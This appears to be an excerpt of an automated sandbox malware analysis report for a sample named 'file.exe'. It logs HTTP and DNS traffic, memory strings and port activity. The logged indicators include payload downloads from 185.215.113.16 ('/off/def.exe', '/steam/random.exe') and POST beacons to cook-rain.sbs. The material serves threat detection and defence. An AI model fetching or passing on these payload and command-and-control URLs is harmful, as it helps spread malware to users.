Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000003.1608807253.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1678088995.0000000000EF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.1677932889.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, 00000000.00000002.1678088995.0000000000EF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000002.1678088995.0000000000EF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeI
Source: file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_114.7.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_114.7.dr, chromecache_77.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_114.7.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_114.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_114.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1435268441.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.1435311387.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1435026656.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1435268441.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/Af
Source: file.exe, 00000000.00000003.1384947171.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1384897360.0000000000F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/Hf
Source: file.exe, 00000000.00000003.1384947171.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1384897360.0000000000F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/Wf
Source: file.exe, 00000000.00000003.1384897360.0000000000F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.1608864817.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api_
Source: file.exe, 00000000.00000003.1408564784.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1409004952.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1408596086.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apibe
Source: file.exe, 00000000.00000003.1608864817.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apigs
Source: file.exe, 00000000.00000003.1435311387.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1435026656.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1435268441.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/zf
Source: file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_114.7.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_106.7.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1409785143.00000000057C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1409785143.00000000057C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_106.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_95.7.dr, chromecache_106.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1409785143.00000000057C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000003.1409785143.00000000057C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000003.1409785143.00000000057C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000000.00000003.1409785143.00000000057C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1409785143.00000000057C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
